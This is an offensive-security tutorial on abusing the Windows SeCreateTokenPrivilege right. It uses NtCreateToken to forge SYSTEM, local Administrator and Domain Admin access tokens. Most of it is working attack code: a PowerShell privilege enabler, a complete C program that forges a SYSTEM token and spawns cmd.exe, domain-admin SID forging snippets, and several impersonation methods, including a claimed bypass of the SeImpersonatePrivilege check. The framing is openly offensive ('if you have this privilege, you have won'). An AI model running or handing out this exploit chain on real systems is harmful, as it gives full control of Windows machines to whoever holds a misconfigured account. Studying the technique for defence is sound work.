Skip to main content

Overview

SeCreateTokenPrivilege allows a process to call the NtCreateToken syscall and create an entirely new access token from scratch. Unlike token duplication (which copies an existing token), this forges a token with arbitrary user SID, group memberships, privileges, and integrity level. You become whoever you want. This is one of the most powerful privileges in Windows. It is the digital equivalent of a blank government ID printer.

Who Has It by Default

PrincipalHas SeCreateTokenPrivilege
NT AUTHORITY\SYSTEMYes
lsass.exeYes (the only user-mode process that normally calls NtCreateToken)
AdministratorsNo
Standard usersNo
Service accountsNo (unless explicitly granted via secpol.msc or GPO)
In practice, almost nothing has this privilege. You will encounter it on:
  • Custom service accounts with misconfigured security policy
  • Third-party authentication/SSO products that create tokens for logged-on users
  • Backup/imaging software that restores user profiles with original SIDs
  • Compromised LSASS or SYSTEM contexts where you want to forge identities
If you have this privilege, you have won. The only question is what identity to forge. SYSTEM, Domain Admin, Enterprise Admin — pick one.

Check if Enabled

whoami /priv | findstr /i "SeCreateTokenPrivilege"
(whoami /priv /fo csv | ConvertFrom-Csv) | Where-Object { $_.'Privilege Name' -eq 'SeCreateTokenPrivilege' }
Expected output when exploitable:
SeCreateTokenPrivilege        Create a token object                 Enabled
If the state shows Disabled, the privilege is present in your token but not yet activated. You must enable it programmatically before calling NtCreateToken:
$code = @'
using System;
using System.Runtime.InteropServices;

public class PrivEnable {
    [DllImport("advapi32.dll", SetLastError=true)]
    static extern bool LookupPrivilegeValue(string host, string name, ref long luid);

    [DllImport("advapi32.dll", SetLastError=true)]
    static extern bool AdjustTokenPrivileges(IntPtr token, bool disableAll, ref TOKEN_PRIVILEGES newState, int len, IntPtr prev, IntPtr rLen);

    [DllImport("advapi32.dll", SetLastError=true)]
    static extern bool OpenProcessToken(IntPtr process, uint access, out IntPtr token);

    [DllImport("kernel32.dll")]
    static extern IntPtr GetCurrentProcess();

    [StructLayout(LayoutKind.Sequential, Pack=1)]
    struct TOKEN_PRIVILEGES { public int Count; public long Luid; public int Attr; }

    public static void Enable(string privilege) {
        IntPtr token;
        OpenProcessToken(GetCurrentProcess(), 0x0028, out token);
        TOKEN_PRIVILEGES tp = new TOKEN_PRIVILEGES { Count = 1, Attr = 2 };
        LookupPrivilegeValue(null, privilege, ref tp.Luid);
        AdjustTokenPrivileges(token, false, ref tp, 0, IntPtr.Zero, IntPtr.Zero);
    }
}
'@
Add-Type -TypeDefinition $code
[PrivEnable]::Enable("SeCreateTokenPrivilege")
Verify:
whoami /priv | findstr /i "SeCreateTokenPrivilege"
Even when Disabled, the privilege only needs to be present in your token. Disabled is a soft toggle — any process can enable its own privileges via AdjustTokenPrivileges. If the privilege is not listed at all, you cannot use this technique.

How It Works Technically

The NtCreateToken Syscall

NtCreateToken is an undocumented ntdll function that creates a brand new access token. It is the only API that can build a token from individual components rather than deriving one from an existing logon session. Function signature:
NTSTATUS NtCreateToken(
    OUT PHANDLE             TokenHandle,        // receives the new token
    IN ACCESS_MASK          DesiredAccess,       // TOKEN_ALL_ACCESS (0xF01FF)
    IN POBJECT_ATTRIBUTES   ObjectAttributes,    // NULL or security descriptor
    IN TOKEN_TYPE           TokenType,           // TokenPrimary (1) or TokenImpersonation (2)
    IN PLUID                AuthenticationId,    // logon session ID (SYSTEM_LUID = 0x3e7)
    IN PLARGE_INTEGER       ExpirationTime,      // token expiry (set far future)
    IN PTOKEN_USER          User,                // the SID this token represents
    IN PTOKEN_GROUPS        Groups,              // group SIDs (Administrators, SYSTEM, etc.)
    IN PTOKEN_PRIVILEGES    Privileges,          // which privileges the token holds
    IN PTOKEN_OWNER         Owner,               // default owner SID for new objects
    IN PTOKEN_PRIMARY_GROUP PrimaryGroup,        // primary group SID
    IN PTOKEN_DEFAULT_DACL  DefaultDacl,         // default DACL for new objects
    IN PTOKEN_SOURCE        TokenSource          // 8-byte name ("NtCreate" or similar)
);

What Each Parameter Controls

ParameterWhat It DoesExploitation Impact
TokenTypePrimary (for process creation) or ImpersonationUse TokenPrimary to spawn processes, TokenImpersonation to steal identity in-thread
AuthenticationIdLinks to a logon sessionUse SYSTEM_LUID (0x3e7) or ANONYMOUS_LOGON_LUID (0x3e6)
UserThe token’s user SIDSet to S-1-5-18 (SYSTEM) or any user SID you want to be
GroupsAll group membershipsAdd S-1-5-32-544 (Administrators), S-1-5-18 (SYSTEM), domain groups
PrivilegesEvery privilege in the tokenAdd all privileges — SeDebugPrivilege, SeTcbPrivilege, everything
OwnerDefault owner for objects created by the tokenSet to Administrators SID
PrimaryGroupPrimary group for new objectsSet to SYSTEM or Administrators
DefaultDaclACL applied to new objectsPermissive DACL or NULL
TokenSource8-char identifier logged in eventsCan set to anything — "NtCreate", "User32", etc.

Why the Kernel Trusts This

The kernel checks exactly one thing before allowing NtCreateToken: does the calling token have SeCreateTokenPrivilege enabled? If yes, the syscall proceeds and builds whatever token you specify. There is no validation that the SIDs are legitimate, that the user exists, or that the privileges make sense. The kernel trusts you completely. This is by design — LSASS uses NtCreateToken after authenticating users to build their logon tokens. The assumption is that only LSASS would ever have this privilege.

Why It Is Extremely Dangerous

With SeCreateTokenPrivilege, you can forge a token that:
  1. Impersonates any local userAdministrator, SYSTEM, DefaultAccount
  2. Claims membership in any groupBUILTIN\Administrators, NT AUTHORITY\SYSTEM, Domain Admins
  3. Holds every privilege — all 35+ Windows privileges enabled, including SeTcbPrivilege, SeDebugPrivilege, SeAssignPrimaryTokenPrivilege
  4. Operates at SYSTEM integrity — bypasses UAC, mandatory integrity checks
  5. Uses any logon session — including the SYSTEM logon session (LUID 0x3e7)
  6. Cannot be distinguished from legitimate tokens — the kernel treats forged tokens identically to tokens created by LSASS
There is no higher privilege escalation path in Windows user-mode. This privilege is equivalent to being LSASS itself.

Using token-priv Toolset (hatRiot)

The token-priv project by hatRiot is the primary offensive toolset for exploiting Windows token privileges, including SeCreateTokenPrivilege.

Download

git clone https://github.com/hatRiot/token-priv
cd token-priv

Project Structure

token-priv/
├── poptoke/              # C++ token manipulation library
│   ├── poptoke.cpp       # Core NtCreateToken implementation
│   └── poptoke.h         # Structures and function pointers
├── abusing_token_priv.pdf  # Whitepaper explaining each privilege
└── README.md

Compile with Visual Studio

:: Open Developer Command Prompt for VS 2019/2022
cl.exe /EHsc /W4 poptoke.cpp /link /OUT:poptoke.exe advapi32.lib ntdll.lib
Or open the solution in Visual Studio and build Release x64.

Usage — Forge a SYSTEM Token

The tool resolves NtCreateToken dynamically from ntdll and calls it with attacker-controlled parameters:
poptoke.exe
The default behavior creates a token with SYSTEM-level access and spawns a new command prompt running under that token.
The token-priv toolset focuses on demonstrating each privilege abuse individually. For production use during engagements, you may need to modify the source to customize the forged token’s SIDs, groups, and target process. The whitepaper (abusing_token_priv.pdf) in the repo documents the exact API calls and structures needed.

Manual Exploitation — C Implementation

Full implementation of NtCreateToken to forge an arbitrary token. This is the core technique regardless of which tool you use.

Resolving NtCreateToken

NtCreateToken is not exported by any import library. Resolve it at runtime from ntdll:
#include <windows.h>
#include <winternl.h>

typedef NTSTATUS (NTAPI *pNtCreateToken)(
    PHANDLE TokenHandle,
    ACCESS_MASK DesiredAccess,
    POBJECT_ATTRIBUTES ObjectAttributes,
    TOKEN_TYPE TokenType,
    PLUID AuthenticationId,
    PLARGE_INTEGER ExpirationTime,
    PTOKEN_USER User,
    PTOKEN_GROUPS Groups,
    PTOKEN_PRIVILEGES Privileges,
    PTOKEN_OWNER Owner,
    PTOKEN_PRIMARY_GROUP PrimaryGroup,
    PTOKEN_DEFAULT_DACL DefaultDacl,
    PTOKEN_SOURCE TokenSource
);

pNtCreateToken NtCreateToken = (pNtCreateToken)GetProcAddress(
    GetModuleHandleA("ntdll.dll"), "NtCreateToken"
);

Required SID Definitions

// Well-known SIDs you will use repeatedly
// S-1-5-18 — NT AUTHORITY\SYSTEM
SID_IDENTIFIER_AUTHORITY NtAuthority = SECURITY_NT_AUTHORITY;
PSID pSystemSid, pAdminsSid, pWorldSid, pLocalSid, pInteractiveSid, pAuthenticatedSid;

// SYSTEM user SID: S-1-5-18
AllocateAndInitializeSid(&NtAuthority, 1,
    SECURITY_LOCAL_SYSTEM_RID,                          // 18
    0, 0, 0, 0, 0, 0, 0, &pSystemSid);

// BUILTIN\Administrators: S-1-5-32-544
AllocateAndInitializeSid(&NtAuthority, 2,
    SECURITY_BUILTIN_DOMAIN_RID,                        // 32
    DOMAIN_ALIAS_RID_ADMINS,                            // 544
    0, 0, 0, 0, 0, 0, &pAdminsSid);

// Everyone: S-1-1-0
SID_IDENTIFIER_AUTHORITY WorldAuthority = SECURITY_WORLD_SID_AUTHORITY;
AllocateAndInitializeSid(&WorldAuthority, 1,
    SECURITY_WORLD_RID,                                 // 0
    0, 0, 0, 0, 0, 0, 0, &pWorldSid);

// NT AUTHORITY\Authenticated Users: S-1-5-11
AllocateAndInitializeSid(&NtAuthority, 1,
    SECURITY_AUTHENTICATED_USER_RID,                    // 11
    0, 0, 0, 0, 0, 0, 0, &pAuthenticatedSid);

// CONSOLE LOGON / INTERACTIVE: S-1-5-4
AllocateAndInitializeSid(&NtAuthority, 1,
    SECURITY_INTERACTIVE_RID,                           // 4
    0, 0, 0, 0, 0, 0, 0, &pInteractiveSid);

// LOCAL: S-1-2-0
SID_IDENTIFIER_AUTHORITY LocalAuthority = SECURITY_LOCAL_SID_AUTHORITY;
AllocateAndInitializeSid(&LocalAuthority, 1,
    SECURITY_LOCAL_RID,                                 // 0
    0, 0, 0, 0, 0, 0, 0, &pLocalSid);

Building the TOKEN_GROUPS Structure

// Allocate TOKEN_GROUPS with enough space for all groups
#define NUM_GROUPS 6
DWORD groupsSize = sizeof(TOKEN_GROUPS) + (NUM_GROUPS - 1) * sizeof(SID_AND_ATTRIBUTES);
PTOKEN_GROUPS pGroups = (PTOKEN_GROUPS)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, groupsSize);
pGroups->GroupCount = NUM_GROUPS;

// Mandatory groups — must have SE_GROUP_ENABLED | SE_GROUP_MANDATORY
#define ENABLED_GROUP (SE_GROUP_ENABLED | SE_GROUP_ENABLED_BY_DEFAULT | SE_GROUP_MANDATORY)

pGroups->Groups[0].Sid = pAdminsSid;            // Administrators
pGroups->Groups[0].Attributes = ENABLED_GROUP | SE_GROUP_OWNER;

pGroups->Groups[1].Sid = pWorldSid;             // Everyone
pGroups->Groups[1].Attributes = ENABLED_GROUP;

pGroups->Groups[2].Sid = pLocalSid;             // LOCAL
pGroups->Groups[2].Attributes = ENABLED_GROUP;

pGroups->Groups[3].Sid = pInteractiveSid;       // INTERACTIVE
pGroups->Groups[3].Attributes = ENABLED_GROUP;

pGroups->Groups[4].Sid = pAuthenticatedSid;     // Authenticated Users
pGroups->Groups[4].Attributes = ENABLED_GROUP;

pGroups->Groups[5].Sid = pSystemSid;            // SYSTEM
pGroups->Groups[5].Attributes = ENABLED_GROUP;

Building the TOKEN_PRIVILEGES Structure

// Add every dangerous privilege
LUID luid;
#define NUM_PRIVS 7
DWORD privsSize = sizeof(TOKEN_PRIVILEGES) + (NUM_PRIVS - 1) * sizeof(LUID_AND_ATTRIBUTES);
PTOKEN_PRIVILEGES pPrivileges = (PTOKEN_PRIVILEGES)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, privsSize);
pPrivileges->PrivilegeCount = NUM_PRIVS;

struct { const char* name; int index; } privList[] = {
    {"SeAssignPrimaryTokenPrivilege", 0},
    {"SeTcbPrivilege",                1},
    {"SeDebugPrivilege",              2},
    {"SeImpersonatePrivilege",        3},
    {"SeBackupPrivilege",             4},
    {"SeRestorePrivilege",            5},
    {"SeTakeOwnershipPrivilege",      6},
};

for (int i = 0; i < NUM_PRIVS; i++) {
    LookupPrivilegeValueA(NULL, privList[i].name, &luid);
    pPrivileges->Privileges[privList[i].index].Luid = luid;
    pPrivileges->Privileges[privList[i].index].Attributes = SE_PRIVILEGE_ENABLED | SE_PRIVILEGE_ENABLED_BY_DEFAULT;
}

Calling NtCreateToken

HANDLE hToken = NULL;
LUID systemLuid = SYSTEM_LUID;  // { 0x3e7, 0x0 }
LARGE_INTEGER expiry;
expiry.QuadPart = -1;           // never expires (0xFFFFFFFFFFFFFFFF relative)

TOKEN_USER tokenUser;
tokenUser.User.Sid = pSystemSid;        // we are SYSTEM
tokenUser.User.Attributes = 0;

TOKEN_OWNER tokenOwner;
tokenOwner.Owner = pAdminsSid;          // objects owned by Administrators

TOKEN_PRIMARY_GROUP tokenPrimaryGroup;
tokenPrimaryGroup.PrimaryGroup = pSystemSid;

TOKEN_SOURCE tokenSource;
memcpy(tokenSource.SourceName, "Exploit", 8);  // 8-char max
AllocateLocallyUniqueId(&tokenSource.SourceIdentifier);

// Optional: default DACL — grant SYSTEM and Administrators full access
// NULL DefaultDacl works for most exploitation scenarios
TOKEN_DEFAULT_DACL tokenDefaultDacl;
tokenDefaultDacl.DefaultDacl = NULL;

NTSTATUS status = NtCreateToken(
    &hToken,                    // OUT — new token handle
    TOKEN_ALL_ACCESS,           // full access to the token
    NULL,                       // no object attributes
    TokenPrimary,               // primary token (can create processes)
    &systemLuid,                // SYSTEM logon session
    &expiry,                    // never expires
    &tokenUser,                 // user = SYSTEM
    pGroups,                    // groups = Administrators, SYSTEM, etc.
    pPrivileges,                // all dangerous privileges
    &tokenOwner,                // owner = Administrators
    &tokenPrimaryGroup,         // primary group = SYSTEM
    &tokenDefaultDacl,          // default DACL
    &tokenSource                // source name
);

if (status == 0) {
    printf("[+] Token forged successfully. Handle: %p\n", hToken);
} else {
    printf("[-] NtCreateToken failed: 0x%08X\n", status);
}

Forging an Administrators Token

Create a token that identifies as the local Administrator with full group memberships. Use this when you need local admin access on a standalone machine.

SIDs Needed

SIDIdentityPurpose
S-1-5-21-<machine>-500Local AdministratorToken user identity
S-1-5-32-544BUILTIN\AdministratorsLocal admin group
S-1-1-0EveryoneStandard group
S-1-5-11Authenticated UsersStandard group
S-1-5-4INTERACTIVELogon type
S-1-5-15This OrganizationStandard group
S-1-16-12288High Mandatory LevelIntegrity level (bypass UAC)

Get Machine SID

:: Get local Administrator SID (includes machine SID prefix)
wmic useraccount where name='Administrator' get sid
(Get-LocalUser -Name "Administrator").SID.Value
Output example: S-1-5-21-3623811015-3361044348-30300820-500 The machine SID is everything except the final RID: S-1-5-21-3623811015-3361044348-30300820

Forge the Token

// Build Administrator user SID from the machine SID
// S-1-5-21-3623811015-3361044348-30300820-500
PSID pAdminUserSid;
SID_IDENTIFIER_AUTHORITY NtAuth = SECURITY_NT_AUTHORITY;
AllocateAndInitializeSid(&NtAuth, 5,
    21, 3623811015, 3361044348, 30300820, 500,
    0, 0, 0, &pAdminUserSid);

TOKEN_USER tokenUser;
tokenUser.User.Sid = pAdminUserSid;
tokenUser.User.Attributes = 0;

// Use a local logon session LUID instead of SYSTEM_LUID
// This makes the token appear as a standard interactive logon
LUID authLuid = ANONYMOUS_LOGON_LUID;  // or use SYSTEM_LUID for maximum access

// Call NtCreateToken with these parameters
// Groups: Administrators, Everyone, Authenticated Users, INTERACTIVE
// Privileges: all dangerous ones

Spawn an Admin Shell

STARTUPINFO si = { sizeof(si) };
PROCESS_INFORMATION pi;

CreateProcessWithTokenW(
    hToken,                         // forged Administrator token
    LOGON_WITH_PROFILE,             // load user profile
    L"C:\\Windows\\System32\\cmd.exe",
    NULL,
    CREATE_NEW_CONSOLE,
    NULL,
    NULL,
    &si,
    &pi
);

Forging a SYSTEM Token

The most common target. SYSTEM has unrestricted access to the local machine.

Required Parameters

// User: NT AUTHORITY\SYSTEM (S-1-5-18)
TOKEN_USER tokenUser;
tokenUser.User.Sid = pSystemSid;    // S-1-5-18
tokenUser.User.Attributes = 0;

// Authentication ID: SYSTEM logon session
LUID authLuid = SYSTEM_LUID;        // { 0x3e7, 0x0 }

// Groups must include:
// S-1-5-32-544  BUILTIN\Administrators        SE_GROUP_ENABLED | SE_GROUP_OWNER
// S-1-1-0       Everyone                       SE_GROUP_ENABLED | SE_GROUP_MANDATORY
// S-1-5-11      Authenticated Users            SE_GROUP_ENABLED | SE_GROUP_MANDATORY
// S-1-5-18      SYSTEM                         SE_GROUP_ENABLED | SE_GROUP_MANDATORY
// S-1-16-16384  System Mandatory Level          SE_GROUP_INTEGRITY | SE_GROUP_INTEGRITY_ENABLED

// Privileges: everything SYSTEM normally has
// SeAssignPrimaryTokenPrivilege, SeBackupPrivilege, SeDebugPrivilege,
// SeImpersonatePrivilege, SeRestorePrivilege, SeTakeOwnershipPrivilege,
// SeTcbPrivilege, SeCreateTokenPrivilege, SeLoadDriverPrivilege,
// SeSecurityPrivilege, SeSystemEnvironmentPrivilege, SeManageVolumePrivilege,
// SeIncreaseBasePriorityPrivilege, SeIncreaseQuotaPrivilege,
// SeShutdownPrivilege, SeAuditPrivilege, SeChangeNotifyPrivilege,
// SeUndockPrivilege, SeProfileSingleProcessPrivilege, SeCreateGlobalPrivilege,
// SeCreatePagefilePrivilege, SeCreatePermanentPrivilege, SeLockMemoryPrivilege

Full C Code — Forge SYSTEM Token and Spawn cmd.exe

#include <windows.h>
#include <stdio.h>

// NtCreateToken typedef (see above for full signature)
typedef NTSTATUS (NTAPI *pNtCreateToken)(
    PHANDLE, ACCESS_MASK, POBJECT_ATTRIBUTES, TOKEN_TYPE,
    PLUID, PLARGE_INTEGER, PTOKEN_USER, PTOKEN_GROUPS,
    PTOKEN_PRIVILEGES, PTOKEN_OWNER, PTOKEN_PRIMARY_GROUP,
    PTOKEN_DEFAULT_DACL, PTOKEN_SOURCE
);

int main() {
    // Resolve NtCreateToken
    pNtCreateToken NtCreateToken = (pNtCreateToken)GetProcAddress(
        GetModuleHandleA("ntdll.dll"), "NtCreateToken");

    if (!NtCreateToken) {
        printf("[-] Failed to resolve NtCreateToken\n");
        return 1;
    }

    // Enable SeCreateTokenPrivilege in current process
    HANDLE hProcessToken;
    OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hProcessToken);
    TOKEN_PRIVILEGES tp;
    tp.PrivilegeCount = 1;
    LookupPrivilegeValueA(NULL, "SeCreateTokenPrivilege", &tp.Privileges[0].Luid);
    tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
    AdjustTokenPrivileges(hProcessToken, FALSE, &tp, 0, NULL, NULL);
    CloseHandle(hProcessToken);

    // Build SYSTEM SID (S-1-5-18)
    SID_IDENTIFIER_AUTHORITY NtAuth = SECURITY_NT_AUTHORITY;
    PSID pSystemSid;
    AllocateAndInitializeSid(&NtAuth, 1, 18, 0, 0, 0, 0, 0, 0, 0, &pSystemSid);

    // Build Administrators SID (S-1-5-32-544)
    PSID pAdminsSid;
    AllocateAndInitializeSid(&NtAuth, 2, 32, 544, 0, 0, 0, 0, 0, 0, &pAdminsSid);

    // Build Everyone SID (S-1-1-0)
    SID_IDENTIFIER_AUTHORITY WorldAuth = SECURITY_WORLD_SID_AUTHORITY;
    PSID pWorldSid;
    AllocateAndInitializeSid(&WorldAuth, 1, 0, 0, 0, 0, 0, 0, 0, 0, &pWorldSid);

    // Token User = SYSTEM
    TOKEN_USER tokenUser;
    tokenUser.User.Sid = pSystemSid;
    tokenUser.User.Attributes = 0;

    // Token Groups
    BYTE groupsBuf[512] = {0};
    PTOKEN_GROUPS pGroups = (PTOKEN_GROUPS)groupsBuf;
    pGroups->GroupCount = 3;
    pGroups->Groups[0].Sid = pAdminsSid;
    pGroups->Groups[0].Attributes = SE_GROUP_ENABLED | SE_GROUP_ENABLED_BY_DEFAULT |
                                     SE_GROUP_MANDATORY | SE_GROUP_OWNER;
    pGroups->Groups[1].Sid = pWorldSid;
    pGroups->Groups[1].Attributes = SE_GROUP_ENABLED | SE_GROUP_ENABLED_BY_DEFAULT | SE_GROUP_MANDATORY;
    pGroups->Groups[2].Sid = pSystemSid;
    pGroups->Groups[2].Attributes = SE_GROUP_ENABLED | SE_GROUP_ENABLED_BY_DEFAULT | SE_GROUP_MANDATORY;

    // Token Privileges — grant everything useful
    BYTE privsBuf[512] = {0};
    PTOKEN_PRIVILEGES pPrivs = (PTOKEN_PRIVILEGES)privsBuf;
    const char* privNames[] = {
        "SeAssignPrimaryTokenPrivilege", "SeBackupPrivilege",
        "SeDebugPrivilege", "SeImpersonatePrivilege",
        "SeRestorePrivilege", "SeTakeOwnershipPrivilege",
        "SeTcbPrivilege", "SeCreateTokenPrivilege",
        "SeLoadDriverPrivilege", "SeSecurityPrivilege",
        "SeChangeNotifyPrivilege", "SeIncreaseQuotaPrivilege",
        "SeShutdownPrivilege", "SeCreateGlobalPrivilege"
    };
    pPrivs->PrivilegeCount = 14;
    for (int i = 0; i < 14; i++) {
        LookupPrivilegeValueA(NULL, privNames[i], &pPrivs->Privileges[i].Luid);
        pPrivs->Privileges[i].Attributes = SE_PRIVILEGE_ENABLED | SE_PRIVILEGE_ENABLED_BY_DEFAULT;
    }

    // Owner, PrimaryGroup, DefaultDacl, Source
    TOKEN_OWNER tokenOwner = { pAdminsSid };
    TOKEN_PRIMARY_GROUP tokenPG = { pSystemSid };
    TOKEN_DEFAULT_DACL tokenDacl = { NULL };

    TOKEN_SOURCE tokenSource;
    memcpy(tokenSource.SourceName, "NtCreate", 8);
    AllocateLocallyUniqueId(&tokenSource.SourceIdentifier);

    // Authentication ID and Expiry
    LUID systemLuid = SYSTEM_LUID;
    LARGE_INTEGER expiry;
    expiry.QuadPart = -1;  // never expires

    // Forge the token
    HANDLE hToken = NULL;
    NTSTATUS status = NtCreateToken(
        &hToken, TOKEN_ALL_ACCESS, NULL, TokenPrimary,
        &systemLuid, &expiry, &tokenUser, pGroups, pPrivs,
        &tokenOwner, &tokenPG, &tokenDacl, &tokenSource
    );

    if (status != 0) {
        printf("[-] NtCreateToken failed: 0x%08X\n", status);
        return 1;
    }

    printf("[+] SYSTEM token forged. Handle: %p\n", hToken);

    // Spawn cmd.exe with the forged token
    STARTUPINFOW si = { sizeof(si) };
    PROCESS_INFORMATION pi;
    if (CreateProcessWithTokenW(hToken, 0, L"C:\\Windows\\System32\\cmd.exe",
            NULL, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi)) {
        printf("[+] cmd.exe spawned as SYSTEM (PID: %d)\n", pi.dwProcessId);
    } else {
        printf("[-] CreateProcessWithTokenW failed: %d\n", GetLastError());
    }

    FreeSid(pSystemSid);
    FreeSid(pAdminsSid);
    FreeSid(pWorldSid);
    CloseHandle(hToken);
    return 0;
}

Compile

cl.exe /EHsc forge_system.c /link advapi32.lib ntdll.lib

Forging a Domain Admin Token (Domain Context)

When the compromised machine is domain-joined, you can forge tokens with domain SIDs. This is devastating because no actual authentication to the DC occurs — the forged token is valid locally.

Get the Domain SID

whoami /user
Output: CORP\svc_backup S-1-5-21-1234567890-987654321-1122334455-1109 Domain SID: S-1-5-21-1234567890-987654321-1122334455
(Get-ADDomain).DomainSID.Value
Or from any domain user:
([System.Security.Principal.WindowsIdentity]::GetCurrent()).User.AccountDomainSid.Value

Key Domain SIDs

SIDIdentity
S-1-5-21-<domain>-500Domain Administrator
S-1-5-21-<domain>-512Domain Admins group
S-1-5-21-<domain>-519Enterprise Admins group
S-1-5-21-<domain>-516Domain Controllers group
S-1-5-21-<domain>-518Schema Admins group

Forge Domain Admin Token

// Domain SID: S-1-5-21-1234567890-987654321-1122334455
// Domain Administrator: append -500
// Domain Admins group: append -512

PSID pDomainAdminUser;
SID_IDENTIFIER_AUTHORITY NtAuth = SECURITY_NT_AUTHORITY;
AllocateAndInitializeSid(&NtAuth, 5,
    21, 1234567890, 987654321, 1122334455, 500,  // Domain Administrator
    0, 0, 0, &pDomainAdminUser);

PSID pDomainAdmins;
AllocateAndInitializeSid(&NtAuth, 5,
    21, 1234567890, 987654321, 1122334455, 512,  // Domain Admins
    0, 0, 0, &pDomainAdmins);

PSID pEnterpriseAdmins;
AllocateAndInitializeSid(&NtAuth, 5,
    21, 1234567890, 987654321, 1122334455, 519,  // Enterprise Admins
    0, 0, 0, &pEnterpriseAdmins);

// Set token user to Domain Administrator
TOKEN_USER tokenUser;
tokenUser.User.Sid = pDomainAdminUser;
tokenUser.User.Attributes = 0;

// Groups: Domain Admins, Enterprise Admins, BUILTIN\Administrators, etc.
pGroups->GroupCount = 5;
pGroups->Groups[0].Sid = pDomainAdmins;
pGroups->Groups[0].Attributes = ENABLED_GROUP | SE_GROUP_OWNER;
pGroups->Groups[1].Sid = pEnterpriseAdmins;
pGroups->Groups[1].Attributes = ENABLED_GROUP;
pGroups->Groups[2].Sid = pAdminsSid;            // BUILTIN\Administrators
pGroups->Groups[2].Attributes = ENABLED_GROUP;
pGroups->Groups[3].Sid = pWorldSid;             // Everyone
pGroups->Groups[3].Attributes = ENABLED_GROUP;
pGroups->Groups[4].Sid = pAuthenticatedSid;     // Authenticated Users
pGroups->Groups[4].Attributes = ENABLED_GROUP;
A forged domain token is valid for local access checks on the compromised machine (file access, registry, service management, WMI). It will NOT authenticate to remote machines via Kerberos because no TGT exists. For network access, you still need credentials, a Kerberos ticket, or NTLM hash. Use this to escalate locally, then pivot using other techniques.

Impersonating the Forged Token

After forging a token with NtCreateToken, you need to use it. There are three primary methods.

Method 1 — ImpersonateLoggedOnUser (Current Thread)

Apply the token to the current thread. All subsequent API calls in this thread use the forged identity.
// hToken = token from NtCreateToken (must be TokenImpersonation type)
// If you created TokenPrimary, duplicate it to impersonation first:
HANDLE hImpToken;
DuplicateTokenEx(hToken, TOKEN_ALL_ACCESS, NULL,
    SecurityImpersonation, TokenImpersonation, &hImpToken);

if (ImpersonateLoggedOnUser(hImpToken)) {
    printf("[+] Now impersonating forged identity\n");
    // All operations in this thread now use forged token
    // e.g., file access, registry operations, etc.
}

// When done:
RevertToSelf();
# PowerShell equivalent using Add-Type
$code = @'
using System;
using System.Runtime.InteropServices;
public class Impersonate {
    [DllImport("advapi32.dll", SetLastError = true)]
    public static extern bool ImpersonateLoggedOnUser(IntPtr hToken);

    [DllImport("advapi32.dll", SetLastError = true)]
    public static extern bool RevertToSelf();
}
'@
Add-Type $code

# After obtaining token handle from NtCreateToken:
[Impersonate]::ImpersonateLoggedOnUser($hToken)
whoami  # should show forged identity
[Impersonate]::RevertToSelf()

Method 2 — CreateProcessWithTokenW (New Process)

Spawn a new process running under the forged token. Requires SeImpersonatePrivilege in the calling token (or being SYSTEM).
STARTUPINFOW si = { sizeof(si) };
PROCESS_INFORMATION pi;

// hToken must be a primary token (TokenPrimary)
BOOL result = CreateProcessWithTokenW(
    hToken,                                 // forged token
    LOGON_WITH_PROFILE,                     // load user profile
    L"C:\\Windows\\System32\\cmd.exe",      // application
    NULL,                                   // command line
    CREATE_NEW_CONSOLE,                     // creation flags
    NULL,                                   // environment (inherit)
    NULL,                                   // current directory
    &si,
    &pi
);

if (result) {
    printf("[+] Process spawned as forged identity (PID: %d)\n", pi.dwProcessId);
}

Method 3 — CreateProcessAsUserW (New Process, Alternate)

Similar to CreateProcessWithTokenW but requires SeAssignPrimaryTokenPrivilege instead of SeImpersonatePrivilege. If your forged token includes this privilege, use it.
// hToken must be a primary token
STARTUPINFOW si = { sizeof(si) };
PROCESS_INFORMATION pi;

BOOL result = CreateProcessAsUserW(
    hToken,                                 // forged token
    L"C:\\Windows\\System32\\cmd.exe",      // application
    NULL,                                   // command line
    NULL,                                   // process security attributes
    NULL,                                   // thread security attributes
    FALSE,                                  // inherit handles
    CREATE_NEW_CONSOLE,                     // creation flags
    NULL,                                   // environment
    NULL,                                   // current directory
    &si,
    &pi
);

Method 4 — SetThreadToken (Specific Thread)

Apply the forged token to a specific thread rather than using ImpersonateLoggedOnUser:
// hImpToken must be TokenImpersonation
HANDLE hThread = GetCurrentThread();
SetThreadToken(&hThread, hImpToken);

// Verify
HANDLE hThreadToken;
OpenThreadToken(hThread, TOKEN_QUERY, TRUE, &hThreadToken);
// Query token info to confirm identity

Combining with SeImpersonatePrivilege

The most practical exploitation chain: SeCreateTokenPrivilege forges the token, SeImpersonatePrivilege lets you spawn processes under it.

Why You Need Both

ActionRequired Privilege
Call NtCreateToken to forge a tokenSeCreateTokenPrivilege
Call ImpersonateLoggedOnUserSeImpersonatePrivilege (or the token must be for the caller’s own logon session)
Call CreateProcessWithTokenWSeImpersonatePrivilege
Call CreateProcessAsUserWSeAssignPrimaryTokenPrivilege
If you only have SeCreateTokenPrivilege without SeImpersonatePrivilege:
  1. Forge a token that includes SeImpersonatePrivilege in its privileges list
  2. Use NtSetInformationThread with ThreadImpersonationToken to apply the impersonation token to the current thread (this bypasses the SeImpersonatePrivilege check in some scenarios)
  3. Or forge a token with SeAssignPrimaryTokenPrivilege and use CreateProcessAsUserW

Practical Chain

1. Check: whoami /priv → SeCreateTokenPrivilege present
2. Enable: AdjustTokenPrivileges → activate SeCreateTokenPrivilege
3. Forge: NtCreateToken → create SYSTEM token with all privileges
4. Impersonate: ImpersonateLoggedOnUser or CreateProcessWithTokenW
5. Verify: whoami → NT AUTHORITY\SYSTEM

If You Lack SeImpersonatePrivilege

Forge a new token that includes SeImpersonatePrivilege, then use the lower-level approach:
// Forge impersonation token with SeImpersonatePrivilege included
HANDLE hImpToken;
// ... NtCreateToken with TokenImpersonation type ...

// Apply via NtSetInformationThread (bypasses SeImpersonatePrivilege check)
typedef NTSTATUS (NTAPI *pNtSetInformationThread)(
    HANDLE, ULONG, PVOID, ULONG);

pNtSetInformationThread NtSetInformationThread =
    (pNtSetInformationThread)GetProcAddress(
        GetModuleHandleA("ntdll.dll"), "NtSetInformationThread");

// ThreadImpersonationToken = 5
NtSetInformationThread(GetCurrentThread(), 5, &hImpToken, sizeof(HANDLE));
